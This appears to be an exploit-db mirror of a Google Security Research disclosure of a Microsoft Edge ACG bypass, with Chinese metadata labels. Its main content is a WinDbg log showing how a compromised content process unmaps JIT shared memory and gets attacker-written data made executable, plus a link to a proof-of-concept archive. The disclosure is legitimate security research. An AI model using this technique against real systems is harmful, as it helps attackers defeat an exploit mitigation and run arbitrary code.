Microsoft Edge – ‘UnmapViewOfFile’ ACG Bypass

  • 作者: Google Security Research
    日期: 2018-02-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44096/
  • Background:
    
    To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97), Edge uses a separate process for JIT compiling. This JIT Process is also responsible for mapping native code into the requesting Content Process.
    
    In order to be able to write JITted (executable) data into the Content Process, JIT Process does the following:
    
    1. It creates a shared memory object using CreateFileMapping()
    2. It maps it into Content Process as PAGE_EXECUTE_READ and in the JIT proces as PAGE_READWRITE using MapViewOfFile2(). At this point the memory is reserved, but not yet committed.
    3. When individual pages need to be written to they are first allocated from the region in step 2 using VirtualAllocEx(). This also marks the memory as committed.
    
    The issue:
    
    If a content process is compromised and the content process can predict on which address JIT process is going to call VirtualAllocEx() next (note: it is fairly predictable), content process can:
    
    1. Unmap the shared memory mapped above above using UnmapViewOfFile()
    2. Allocate a writable memory region on the same address JIT server is going to write and write an soon-to-be-executable payload there.
    3. When JIT process calls VirtualAllocEx(), even though the memory is already allocated, the call is going to succeed and the memory protection is going to be set to PAGE_EXECUTE_READ. 
    
    Note #1: The content written in step 2 is going to survive the memory protection change.
    Note #2: JIT server is going to write the JITted payload into its own "side" of the shared memory, so the content in the Content Process is not going to get immediately overwritten.
    
    See the debug log below for a demonstration.
    
    Debug log:
    
    Let's attach one instance of WinDBG to JIT process and another to a Content Process.
    
    Let's also verify that ACG is indeed applied for the Content Process. We can do this using Get-ProcessMitigation PowerShell command. See the output in the screenshot (note the "BlockDynamicCode: ON" field).
    
    Now, in JIT Process, let's set a breakpoint on VirtualAllocEx() and wait.
    
    0:020> bp kernelbase!virtualallocex
    0:020> g
    
    Soon the breakpoint is hit.
    
    Breakpoint 0 hit
    KERNELBASE!VirtualAllocEx:
    00007fff`5590e170 4883ec38sub rsp,38h
    
    We can examine the call stack to see where we are - we see we are in the Encode phase of ServerRemoteCodeGen() which is a function that Content Process calls on the JIT server when it wants to JIT a function or a loop body.
    
    0:011> k
     # Child-SPRetAddr Call Site
    00 000000c2`48cfcfe8 00007fff`4dff3104 KERNELBASE!VirtualAllocEx
    01 000000c2`48cfcff0 00007fff`38752dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14
    02 000000c2`48cfd030 00007fff`38752a16 chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5
    03 000000c2`48cfd0b0 00007fff`3875233e chakra!Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper>::AllocDecommitPages<BVStatic<272>,1>+0xea
    04 000000c2`48cfd150 00007fff`38752464 chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::TryAllocDecommittedPages<1>+0x8e
    05 000000c2`48cfd210 00007fff`38751e7a chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::SnailAllocPages<1>+0x4c
    06 000000c2`48cfd2d0 00007fff`38751488 chakra!Memory::CustomHeap::CodePageAllocators<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocPages+0x72
    07 000000c2`48cfd340 00007fff`38751210 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocNewPage+0x68
    08 000000c2`48cfd3c0 00007fff`38750e14 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::Alloc+0x9c
    09 000000c2`48cfd470 00007fff`38750cae chakra!EmitBufferManager<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper,CriticalSection>::NewAllocation+0x58
    0a 000000c2`48cfd500 00007fff`388599dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e
    0b 000000c2`48cfd590 00007fff`388a5506 chakra!Encoder::Encode+0x9dc
    0c 000000c2`48cfd710 00007fff`389904e5 chakra!Func::TryCodegen+0x356
    0d 000000c2`48cfdfb0 00007fff`3877c00e chakra!Func::Codegen+0xed
    0e 000000c2`48cfe3e0 00007fff`3877be54 chakra!<lambda_869fb2da08ff617a0f58153cb1331989>::operator()+0x166
    0f 000000c2`48cfe500 00007fff`3877bde2 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x54
    10 000000c2`48cfe550 00007fff`3877bd85 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x4e
    11 000000c2`48cfe5c0 00007fff`57006d13 chakra!ServerRemoteCodeGen+0x75
    12 000000c2`48cfe630 00007fff`57069390 RPCRT4!Invoke+0x73
    13 000000c2`48cfe690 00007fff`56f93718 RPCRT4!Ndr64StubWorker+0xbb0
    14 000000c2`48cfed40 00007fff`56fb73b4 RPCRT4!NdrServerCallNdr64+0x38
    15 000000c2`48cfed90 00007fff`56fb654e RPCRT4!DispatchToStubInCNoAvrf+0x24
    16 000000c2`48cfede0 00007fff`56fb6f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be
    17 000000c2`48cfeeb0 00007fff`56fc0693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154
    18 000000c2`48cfef50 00007fff`56fc1396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183
    19 000000c2`48cff030 00007fff`56fbd11e RPCRT4!LRPC_SCALL::HandleRequest+0x996
    1a 000000c2`48cff140 00007fff`56fbe843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e
    1b 000000c2`48cff1f0 00007fff`56fecc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3
    1c 000000c2`48cff330 00007fff`594665ae RPCRT4!LrpcIoComplete+0xd8
    1d 000000c2`48cff3d0 00007fff`594aeed9 ntdll!TppAlpcpExecuteCallback+0x22e
    1e 000000c2`48cff450 00007fff`5946471c ntdll!TppDirectExecuteCallback+0xb9
    1f 000000c2`48cff4c0 00007fff`57ea1fe4 ntdll!TppWorkerThread+0x47c
    20 000000c2`48cff850 00007fff`5949ef91 KERNEL32!BaseThreadInitThunk+0x14
    21 000000c2`48cff880 00000000`00000000 ntdll!RtlUserThreadStart+0x21
    
    If we examine the registers we see the second param is 000002854f18c000 - this is the address VirtualAllocEx() is attempting to allocate.
    
    0:011> r
    rax=0000000040000010 rbx=000002854f18c000 rcx=0000000000000724
    rdx=000002854f18c000 rsi=0000000000000008 rdi=0000024038924de0
    rip=00007fff5590e170 rsp=000000c248cfcfe8 rbp=0000024038924fe8
     r8=0000000000001000r9=0000000000001000 r10=0000000000000001
    r11=0000000000000007 r12=000002854f18c000 r13=0000000000000000
    r14=000000000000000c r15=0000000000000000
    
    Let's leave the JIT Process alone for a while and move into the Content Process. Let's examine the memory around address 000002854f18c000 using !vadump:
    
    BaseAddress: 000002854f100000
    RegionSize:0000000000017000
    State: 00001000MEM_COMMIT
    Protect: 00000010PAGE_EXECUTE
    Type:00040000MEM_MAPPED
    
    BaseAddress: 000002854f117000
    RegionSize:0000000000001000
    State: 00001000MEM_COMMIT
    Protect: 00000001PAGE_NOACCESS
    Type:00040000MEM_MAPPED
    
    BaseAddress: 000002854f118000
    RegionSize:0000000000074000
    State: 00001000MEM_COMMIT
    Protect: 00000010PAGE_EXECUTE
    Type:00040000MEM_MAPPED
    
    BaseAddress: 000002854f18c000
    RegionSize:0000000000004000
    State: 00002000MEM_RESERVE
    Type:00040000MEM_MAPPED
    
    BaseAddress: 000002854f190000
    RegionSize:0000000000010000
    State: 00001000MEM_COMMIT
    Protect: 00000010PAGE_EXECUTE
    Type:00040000MEM_MAPPED
    
    We see some executable memory regions starting from 000002854f100000 which happens to be the base address of the shared memory in the Content Process. Let's unmap it.
    
    0:084> r rip=kernelbase!unmapviewoffile
    0:084> r rcx=000002854f100000
    
    After unmapping it, let's allocate the desired address and set it to PAGE_READWRITE so that we can write to it.
    
    0:084> r rip=kernelbase!virtualalloc
    0:084> r rcx=000002854f18c000 # desired address
    0:084> r rdx=1000 # size
    0:084> r r8=3000 # MEM_RESERVE | MEM_COMMIT
    0:084> r r9=4 # PAGE_READWRITE
    
    After VirtualAlloc() finishes, we can see it returned 000002854f180000
    
    0:084> r rax
    rax=000002854f180000
    
    The returned address is a bit lower than the one we requested, but it doesn't matter since the allocated region is also going to be larger than we requested so it's going to cover the desired address. Let's take a look at the memory map again:
    
    BaseAddress: 000002854f100000
    RegionSize:0000000000080000
    State: 00010000MEM_FREE
    Protect: 00000001PAGE_NOACCESS
    
    BaseAddress: 000002854f180000
    RegionSize:000000000000d000
    State: 00001000MEM_COMMIT
    Protect: 00000004PAGE_READWRITE
    Type:00020000MEM_PRIVATE
    
    BaseAddress: 000002854f18d000
    RegionSize:000000000ff73000
    State: 00010000MEM_FREE
    Protect: 00000001PAGE_NOACCESS
    
    We can see that at address 000002854f180000 there is a region of size 000000000000d000 that has PAGE_READWRITE access. Since we can now write to this address, let's do it:
    
    0:084> ea 000002854f18c000 "ACG bypass"
    
    Now, let's go back to the JIT Server process and let VirtualAllocEx() finish. Once it does, let's go back into the Content Process and examine the memory again:
    
    BaseAddress: 000002854f100000
    RegionSize:0000000000080000
    State: 00010000MEM_FREE
    Protect: 00000001PAGE_NOACCESS
    
    BaseAddress: 000002854f180000
    RegionSize:000000000000c000
    State: 00001000MEM_COMMIT
    Protect: 00000004PAGE_READWRITE
    Type:00020000MEM_PRIVATE
    
    BaseAddress: 000002854f18c000
    RegionSize:0000000000001000
    State: 00001000MEM_COMMIT
    Protect: 00000010PAGE_EXECUTE
    Type:00020000MEM_PRIVATE
    
    BaseAddress: 000002854f18d000
    RegionSize:000000000ff73000
    State: 00010000MEM_FREE
    Protect: 00000001PAGE_NOACCESS
    
    We can now see some changes, specifically at address 000002854f18c000 there is now an executable memory region (PAGE_EXECUTE). Now we just need to make sure the content we wrote earlier is still there.
    
    0:084> da 000002854f18c000
    00000285`4f18c000"ACG bypass"
    
    That's it. We now have an executable page with the content we control, thus bypassing ACG.
    
    A screenshot of WinDBG showing this final step is attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44096.zip